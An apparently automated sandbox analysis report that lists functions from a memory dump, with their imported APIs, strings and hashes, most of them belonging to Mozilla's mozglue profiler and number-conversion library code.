Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

-%llu, xrefs: 6C524733
profiler-paused, xrefs: 6C5246E4
., xrefs: 6C52476A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

